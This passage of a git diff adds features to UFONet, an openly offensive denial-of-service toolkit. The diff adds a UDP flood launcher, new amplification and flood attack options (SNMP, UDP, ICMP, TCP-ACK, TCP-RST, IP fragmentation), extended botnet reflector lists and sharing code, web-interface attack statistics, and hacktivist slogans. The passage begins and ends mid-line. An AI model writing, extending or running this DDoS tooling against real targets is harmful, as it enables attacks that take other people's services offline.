target, rounds): + print("[Info] [AI] UDP (UFOUDP) is ready to fire: [" , rounds, "positron rays ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [UFOUDP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + ufoudpize(ip, sport, rounds) # attack with UFOUDP using threading diff --git a/core/options.py b/core/options.py index 3cc6eac..06a3df0 100755 --- a/core/options.py +++ b/core/options.py @@ -20,6 +20,7 @@ def __init__(self, *args): self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs' self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dnss' self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps' + self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmp' self.dorks_file = "botnet/dorks.txt" # set source path to retrieve 'dorks' self.sengines = self.extract_sengines() self.zombies = int(self.extract_zombies()) @@ -29,13 +30,14 @@ def __init__(self, *args): self.rpcs = int(self.extract_rpcs()) self.dnss = int(self.extract_dnss()) self.ntps = int(self.extract_ntps()) + self.snmps = int(self.extract_snmps()) self.dorks = int(self.extract_dorks()) self.tools = self.extract_tools() self.etools = self.extra_tools() self.weapons = self.extract_weapons() self.ebotnet = self.electronic_botnet() self.eweapons = self.extra_weapons() - self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps) + self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps+self.snmps) self.d_energy = self.extract_d_energy() self.y_energy = self.extract_y_energy() self.x_energy = self.extract_x_energy() @@ -43,7 +45,7 @@ def __init__(self, *args): optparse.OptionParser.__init__(self, description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}', prog='./ufonet', - version='\nCode: v1.5 [MLV] - "MuLTi.V3rSe!"\n') + version='\nCode: 1.6 '+"\u25BC "+'[MR3] [ M4RAuD3R ] '+"\u25BC"+'\n') self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests") self.add_option("--examples", action="store_true", dest="examples", help="print some examples") self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline") @@ -101,32 +103,40 @@ def __init__(self, *args): group5.add_option("-x", action="store", dest="abduction", help="Examine webserver configuration (+CVE, +WAF detection)") self.add_option_group(group5) group6 = optparse.OptionGroup(self, "*Configure Attack(s)*") - group6.add_option("-a", action="store", dest="target", help="[DDoS] attack an URL (ex: -a 'http(s)://target.com')") + group6.add_option("-a", action="store", dest="target", help="[DDoS] attack a target (ex: -a 'http(s)://target.com')") group6.add_option("-f", action="store", dest="target_list", help="[DDoS] attack a list of targets (ex: -f 'targets.txt')") group6.add_option("-b", action="store", dest="place", help="Set place to attack (ex: -b '/path/big.jpg')") group6.add_option("-r", action="store", dest="rounds", help="Set number of rounds (ex: -r '1000') (default: 1)") self.add_option_group(group6) group7 = optparse.OptionGroup(self, "*Extra Configuration(s)*") - group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'aliens' web abuse") - group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'droids' redirectors") - group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'xml-rpcs' reflectors") - group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'ucavs' checkers") + group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'DROIDS' redirectors") + group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'UCAVS' checkers") + group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'ALIENS' web abuse") + group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'XML-RPCs' reflectors") group7.add_option("--no-head", action="store_true", dest="disablehead", help="Disable 'Is target up?' starting check") group7.add_option("--no-scan", action="store_true", dest="disablescanner", help="Disable 'Scan shields' round check") group7.add_option("--no-purge", action="store_true", dest="disablepurge", help="Disable 'Zombies purge' round check") group7.add_option("--expire", action="store", dest="expire", help="Set expire time for 'Zombies purge' (default: 30)") self.add_option_group(group7) group8 = optparse.OptionGroup(self, "*Extra Attack(s)*") - group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP DB' attack (ex: --db 'search.php?q=')") - group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' attack (ex: --spray 100)") - group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP broadcast' attack (ex: --smurf 101)") - group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' attack (ex: --tachyon 1000)") - group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' attack (ex: --monlist 1001)") - group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP fast' attack (ex: --loic 100)") - group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP slow' attack (ex: --loris 101)") - group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' attack (ex: --ufosyn 100)") - group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' attack (ex: --xmas 101)") - group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION' attack (ex: --nuke 10000)") + group8.add_option("--fraggle", action="store", dest="fraggle", help="[DDoS] 'UDP amplification' (ex: --fraggle 101)") + group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' (ex: --tachyon 101)") + group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' (ex: --monlist 101)") + group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP amplification' (ex: --smurf 101)") + group8.add_option("--sniper", action="store", dest="sniper", help="[DDoS] 'SNMP amplification' (ex: --sniper 101)") + group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' (ex: --spray 101)") + group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP-DB flood' (ex: --db 'search.php?q=')") + group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP-FAST flood' (ex: --loic 101)") + group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP-SLOW flood' (ex: --loris 101)") + group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' (ex: --ufosyn 101)") + group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' (ex: --xmas 101)") + group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION flood' (ex: --nuke 101)") + group8.add_option("--ufoack", action="store", dest="ufoack", help="[ DoS] 'TCP-ACK flood' (ex: --ufoack 101)") + group8.add_option("--uforst", action="store", dest="uforst", help="[ DoS] 'TCP-RST flood' (ex: --uforst 101)") + group8.add_option("--droper", action="store", dest="droper", help="[ DoS] 'IP-FRAGMENTATION flood' (ex: --droper 101)") + group8.add_option("--overlap", action="store", dest="overlap", help="[ DoS] 'IP-OVERLAP flood' (ex: --overlap 101)") + group8.add_option("--pinger", action="store", dest="pinger", help="[ DoS] 'ICMP flood' (ex: --pinger 101)") + group8.add_option("--ufoudp", action="store", dest="ufoudp", help="[ DoS] 'UDP flood' (ex: --ufoudp 101)") self.add_option_group(group8) def extract_sengines(self): @@ -159,31 +169,40 @@ def extra_tools(self): return etools def extract_weapons(self): - weapons = ["DBSTRESSER", "SPRAY", "SMURF", "TACHYON", "MONLIST", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE"] + weapons = ["SMURF", "TACHYON", "MONLIST", "SNIPER", "SPRAY", "DBSTRESS", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE", "UFOACK", "UFORST", "DROPER", "OVERLAP", "PINGER", "UFOUPD", "FRAGGLE"] weapons = len(weapons) return weapons def extra_weapons(self): - eweapons = '\n _> DBSTRESS * [DDoS] HTTP DB Stresser' - eweapons += '\n _> SPRAY * [DDoS] TCP SYN-Reflector' - eweapons += '\n _> SMURF * [DDoS] ICMP Broadcaster' + eweapons = '\n _> FRAGGLE * [DDoS] UDP Amplificator' eweapons += '\n _> TACHYON * [DDoS] DNS Amplificator' eweapons += '\n _> MONLIST * [DDoS] NTP Amplificator' - eweapons += '\n _> LOIC * [ DoS] HTTP Fast-Requester' - eweapons += '\n _> LORIS * [ DoS] HTTP Slow-Requester' - eweapons += '\n _> UFOSYN * [ DoS] TCP SYN-Flag Flooder' - eweapons += '\n _> XMAS * [ DoS] TCP XMAS-Flag Flooder' - eweapons += '\n _> NUKE * [ DoS] TCP STARVATION Flooder' + eweapons += '\n _> SMURF * [DDoS] ICMP Amplificator' + eweapons += '\n _> SNIPER * [DDoS] SNMP Amplificator' + eweapons += '\n _> SPRAY * [DDoS] TCP SYN Reflector' + eweapons += '\n _> DBSTRESS * [DDoS] HTTP-DB Stresser' + eweapons += '\n _> LOIC * [ DoS] HTTP-FAST Requester' + eweapons += '\n _> LORIS * [ DoS] HTTP-SLOW Requester' + eweapons += '\n _> UFOSYN * [ DoS] TCP-SYN Flooder' + eweapons += '\n _> XMAS * [ DoS] TCP-XMAS Flooder' + eweapons += '\n _> NUKE * [ DoS] TCP-STARVATION Flooder' + eweapons += '\n _> UFOACK * [ DoS] TCP-ACK Flooder' + eweapons += '\n _> UFORST * [ DoS] TCP-RST Flooder' + eweapons += '\n _> DROPER * [ DoS] IP-FRAGMENTATION Flooder' + eweapons += '\n _> OVERLAP * [ DoS] IP-OVERLAP Flooder' + eweapons += '\n _> PINGER * [ DoS] ICMP Flooder' + eweapons += '\n _> UFOUDP * [ DoS] UDP Flooder' return eweapons def electronic_botnet(self): - ebotnet = '\n _> ALIENS [ '+ format(int(self.aliens), '06d')+ ' ] * HTTP POST' - ebotnet += '\n _> DROIDS [ '+ format(int(self.droids), '06d')+ ' ] * HTTP GET (complex)' - ebotnet += '\n _> UCAVs [ '+ format(int(self.ucavs), '06d')+ ' ] * WebAbuse' - ebotnet += '\n _> X-RPCs [ '+ format(int(self.rpcs), '06d')+ ' ] * PingBack XML-RPC exploit' - ebotnet += '\n _> ZOMBIES [ '+ format(int(self.zombies), '06d')+ ' ] * HTTP GET (simple)' - ebotnet += '\n _> DNSs [ '+ format(int(self.dnss), '06d')+ ' ] * DNS (reflectors)' - ebotnet += '\n _> NTPs [ '+ format(int(self.ntps), '06d')+ ' ] * NTP (reflectors)' + ebotnet = '\n _> ZOMBIES [ '+ format(int(self.zombies), '08d')+ ' ] * HTTP GET (simple)' + ebotnet += '\n _> DROIDS [ '+ format(int(self.droids), '08d')+ ' ] * HTTP GET (complex)' + ebotnet += '\n _> UCAVs [ '+ format(int(self.ucavs), '08d')+ ' ] * WebAbuse (multiple)' + ebotnet += '\n _> ALIENS [ '+ format(int(self.aliens), '08d')+ ' ] * HTTP POST' + ebotnet += '\n _> X-RPCs [ '+ format(int(self.rpcs), '08d')+ ' ] * XML-RPC' + ebotnet += '\n _> DNSs [ '+ format(int(self.dnss), '08d')+ ' ] * DNS' + ebotnet += '\n _> NTPs [ '+ format(int(self.ntps), '08d')+ ' ] * NTP' + ebotnet += '\n _> SNMPs [ '+ format(int(self.snmps), '08d')+ ' ] * SNMP' return ebotnet def extract_zombies(self): @@ -249,6 +268,15 @@ def extract_ntps(self): ntps = "broken!" return ntps + def extract_snmps(self): + try: + f = open(self.snmps_file) + snmps = len(f.readlines()) + f.close() + except: + snmps = "broken!" + return snmps + def extract_dorks(self): try: f = open(self.dorks_file) @@ -292,14 +320,14 @@ def get_options(self, user_args=None): print(self.description, "\n") print('='*75) self.version = self.version.replace("\n","") - print('\n '+"\u25BC "+self.version+" \u25BC"'\n') + print('\n '+"\u25BC "+self.version+'\n') print("-"*75+"\n") - print(' -> _BOTNET [DDoS]: [', format(int(self.total_botnet), '06d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet) - print('\n -> _DORKS: [', format(int(self.dorks), '06d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns') - print(' _> ENGINES [', format(int(self.sengines), '06d'), '] * Dorking providers (Working)') - print('\n -> _TOOLS: [', format(int(self.tools), '06d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools) - print('\n -> _WEAPONS: [', format(int(self.weapons), '06d'),'] '+"\u25BC"+' Extra Attacks (Weapons)'+ self.eweapons) - print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']: [', format(int(self.x_energy), '06d'),'] '+"\u25BC"+' '+self.formula+'\n') + print(' -> _BOTNET [DDoS]: [', format(int(self.total_botnet), '08d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet) + print('\n -> _DORKS: [', format(int(self.dorks), '08d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns') + print(' _> ENGINES [', format(int(self.sengines), '08d'), '] * Dorking providers (Working)') + print('\n -> _TOOLS: [', format(int(self.tools), '08d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools) + print('\n -> _WEAPONS: [', format(int(self.weapons), '08d'),'] '+"\u25BC"+' Extra Attacks (DDoS & DoS)'+ self.eweapons) + print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']: [', format(int(self.x_energy), '08d'),'] '+"\u25BC"+' '+self.formula+'\n') print("-"*75+"\n") print(" -> _HELP: ./ufonet --help (or ./ufonet -h)") print(' -> _EXAMPLES: ./ufonet --examples') diff --git a/core/tools/blackhole.py b/core/tools/blackhole.py index 645fd63..910fba8 100755 --- a/core/tools/blackhole.py +++ b/core/tools/blackhole.py @@ -40,6 +40,7 @@ def process( self ): rpcs_incoming=[] ntps_incoming=[] dnss_incoming=[] + snmps_incoming=[] for meat in self.meats: f_in = gzip.open(self.tmp_dir+"blackhole/"+meat) if 'community_zombies.txt.gz' in f_in: # zombies found @@ -84,6 +85,12 @@ def process( self ): dnss_incoming.append(line) f_out.write(line.strip()+os.linesep) f_out.close() + elif 'community_snmps.txt.gz' in f_in: # snmps found + f_out = open(self.tmp_dir+'glass.txt', 'wb') + for line in f_in.readlines(): + snmps_incoming.append(line) + f_out.write(line.strip()+os.linesep) + f_out.close() f_in.close() os.remove(self.tmp_dir+"blackhole/"+meat) import subprocess @@ -194,7 +201,7 @@ def process( self ): f_tested = open(self.tmp_dir+'clock.txt') ntps_community = f_tested.readlines() f_tested.close() - o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb') + o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb') ntps_army = o_in.readlines() initial = len(ntps_army) o_in.close() @@ -207,12 +214,12 @@ def process( self ): for ntp in ntps_army: fc.write(ntp.strip()+os.linesep) fc.close() - shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'crystals.txt.gz') + shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'warps.txt.gz') print("[Info] [AI] NTPs tested : " +str(len(ntps_community)) + " / initial : " +str(initial) + " / final : " + str(len(ntps_army))) f_tested = open(self.tmp_dir+'label.txt') dnss_community = f_tested.readlines() f_tested.close() - o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb') + o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb') dnss_army = o_in.readlines() initial = len(dnss_army) o_in.close() @@ -225,8 +232,26 @@ def process( self ): for dns in dnss_army: fc.write(dns.strip()+os.linesep) fc.close() - shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'warps.txt.gz') + shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'crystals.txt.gz') print("[Info] [AI] DNSs tested : " +str(len(dnss_community)) + " / initial : " +str(initial) + " / final : " + str(len(dnss_army))) + f_tested = open(self.tmp_dir+'glass.txt') + snmps_community = f_tested.readlines() + f_tested.close() + o_in = gzip.open(self.target_dir+'bosons.txt.gz', 'rb') + snmps_army = o_in.readlines() + initial = len(snmps_army) + o_in.close() + for snmp in snmps_community: + if snmp.strip() not in snmps_army: + snmps_army.append(snmp) + else: + pass + fc = gzip.open(self.tmp_dir+'newsnmps.txt.gz', 'wb') + for snmp in snmps_army: + fc.write(snmp.strip()+os.linesep) + fc.close() + shutil.move(self.tmp_dir+'newsnmps.txt.gz', self.target_dir+'bosons.txt.gz') + print("[Info] [AI] SNMPs tested : " +str(len(snmps_community)) + " / initial : " +str(initial) + " / final : " + str(len(snmps_army))) def run(self): self.power_on = True @@ -294,6 +319,7 @@ def run(self): rpc_meat = "community_rpcs.txt.gz" ntp_meat = "community_ntps.txt.gz" dns_meat = "community_dnss.txt.gz" + snmp_meat = "community_snmps.txt.gz" while 1: data = self.client.recv(1024) if not data: @@ -330,7 +356,7 @@ def run(self): f.write(data) print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name) f.close() - elif rpc_meat in data: # get ucavs + elif rpc_meat in data: # get rpcs r = re.compile(".*("+rpc_meat+").*") # regex magics meat_type = r.search(data) m = meat_type.group(1) @@ -354,6 +380,14 @@ def run(self): f.write(data) print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name) f.close() + elif snmp_meat in data: # get snmps + r = re.compile(".*("+snmp_meat+").*") # regex magics + meat_type = r.search(data) + m = meat_type.group(1) + f = open(self.parent.tmp_dir+"blackhole/"+m,"wb") + f.write(data) + print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name) + f.close() self.client.close() self.parent.eater_full(self) @@ -459,26 +493,36 @@ def dream(self): reflectors_fail = reflectors_fail + 1 else: reflectors_fail = 0 - if not os.path.exists(self.target_dir+"crystals.txt.gz"): + if not os.path.exists(self.target_dir+"warps.txt.gz"): ntps_fail = 0 try: - fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb') + fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb') fc.close() except: - print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir) + print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir) ntps_fail = ntps_fail + 1 else: ntps_fail = 0 - if not os.path.exists(self.target_dir+"warps.txt.gz"): + if not os.path.exists(self.target_dir+"crystals.txt.gz"): dnss_fail = 0 try: - fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb') + fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb') fc.close() except: - print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir) + print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir) dnss_fail = dnss_fail + 1 else: dnss_fail = 0 + if not os.path.exists(self.target_dir+"bosons.txt.gz"): + snmps_fail = 0 + try: + fc = gzip.open(self.target_dir+'bosons.txt.gz', 'wb') + fc.close() + except: + print("[Error] [AI] Not 'bosons.txt.gz' file in "+self.target_dir) + snmps_fail = snmps_fail + 1 + else: + snmps_fail = 0 if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK): print("[Error] [AI] Write access denied for 'abductions' file in "+self.target_dir) abductions_fail = abductions_fail + 1 @@ -494,13 +538,16 @@ def dream(self): if not os.access(self.target_dir+"reflectors.txt.gz",os.W_OK): print("[Error] [AI] Write access denied for 'reflectors' file in "+self.target_dir) reflectors_fail = reflectors_fail + 1 - if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK): - print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir) - ntps_fail = ntps_fail + 1 if not os.access(self.target_dir+"warps.txt.gz",os.W_OK): print("[Error] [AI] Write access denied for 'warps' file in "+self.target_dir) + ntps_fail = ntps_fail + 1 + if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK): + print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir) dnss_fail = dnss_fail + 1 - if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0: + if not os.access(self.target_dir+"bosons.txt.gz",os.W_OK): + print("[Error] [AI] Write access denied for 'bosons' file in "+self.target_dir) + snmps_fail = snmps_fail + 1 + if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0 and snmps_fail > 0: print("\n[Error] [AI] Cannot found any container... -> [Aborting!]") print("\n[Info] [AI] Suspend [Blackhole] with: Ctrl+z") sys.exit(2) diff --git a/core/txt/misc.txt b/core/txt/misc.txt index 04a7163..6f4e244 100755 --- a/core/txt/misc.txt +++ b/core/txt/misc.txt @@ -62,4 +62,6 @@ Remember those who catalog #UFONet as "malware" in the next national elections. We are not retreating. We are advancing in another directions... #FREEASSANGE | #FREEANONS We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us... +Power to the people! +Rage Against The Poverty... #UFONet FAQ: https://ufonet.03c8.net/FAQ.html diff --git a/core/txt/motherships.txt b/core/txt/motherships.txt index 02e30b8..ca331ce 100755 --- a/core/txt/motherships.txt +++ b/core/txt/motherships.txt @@ -119,6 +119,7 @@ A.Scherr Munder Balto Sota +C0ViD UNIVAC Antikitera Togo diff --git a/core/webgui.py b/core/webgui.py index 262a6c6..9c1dc6a 100755 --- a/core/webgui.py +++ b/core/webgui.py @@ -84,7 +84,7 @@ def file_len(self, fn): def html_army_map(self,target=None): try: - target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n" + target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n" except: target_js="not any zombie available\n\n" if target is not None: @@ -377,7 +377,7 @@ def html_grid_remove(self):
Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"] def html_stats(self): - total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp) if self.ranking == "Rookie": # Rookie your_ranking = "Rookie [*]" elif self.ranking == "Mercenary": # Mercenary @@ -451,20 +451,28 @@ def html_stats(self): Weapons (use): LOIC:""" + str(self.aloic) + """ +MONLIST:""" + str(self.amonlist) + """ LORIS:""" + str(self.aloris) + """ UFOSYN:""" + str(self.aufosyn) + """ +FRAGGLE:""" + str(self.afraggle) + """ SPRAY:""" + str(self.aspray) + """ SMURF:""" + str(self.asmurf) + """ +SNIPER:""" + str(self.asniper) + """ XMAS:""" + str(self.axmas) + """ NUKE:""" + str(self.anuke) + """ +UFOACK:""" + str(self.aufoack) + """ TACHYON:""" + str(self.atachyon) + """ - -MONLIST:""" + str(self.amonlist) + """ -TOTAL:""" + str(total_extra_attacks) +""" +UFORST:""" + str(self.auforst) + """ +DROPER:""" + str(self.adroper) + """ +OVERLAP:""" + str(self.aoverlap) + """ + +PINGER:""" + str(self.apinger) + """ +UFOUDP:""" + str(self.aufoudp) + """ +TOTAL:""" + str(total_extra_attacks) +""" @@ -793,8 +801,8 @@ def generate_grid(self): f.close() mothership_members = 0 # mothership_members stats bonus unknown_members = 0 # unknown (or non decrypted) mothership members - grid_table = "
MEMBERS STATS:

" - for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID + grid_table = "
MEMBERS STATS:

NICKNAME:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:CONTACT:
" + for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID if grid_msg_sep in m: version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships) m = m.split(grid_msg_sep) @@ -817,7 +825,48 @@ def generate_grid(self): grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation) grid_loic = m[8][0:4] # loic grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation) - if version > 17: # v1.4 + if version > 18: # v1.5 + grid_loris = m[9][0:4] # loris + grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) + grid_ufosyn = m[10][0:4] # ufosyn + grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation) + grid_spray = m[11][0:4] # spray + grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation) + grid_smurf = m[12][0:4] # smurf + grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation) + grid_xmas = m[13][0:4] # xmas + grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation) + grid_nuke = m[14][0:4] # nuke + grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation) + grid_tachyon = m[15][0:4] # tachyon + grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) + grid_monlist = m[16][0:4] # monlist + grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = m[17][0:4] # fraggle + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = m[18][0:4] # sniper + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = m[19][0:4] # ufoack + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = m[20][0:4] # uforst + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = m[21][0:4] # droper + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = m[22][0:4] # overlap + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = m[23][0:4] # pinger + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = m[24][0:4] # ufoudp + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) + try: + grid_contact = "View" # js contact view (obfuscation) + except: + grid_contact= "invalid" + try: + grid_id = m[26] # id (plain id) + except: + grid_id = "invalid!" + if version == 18: # v1.4 grid_loris = m[9][0:4] # loris grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation) grid_ufosyn = m[10][0:4] # ufosyn @@ -834,6 +883,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = m[16][0:4] # monlist grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # 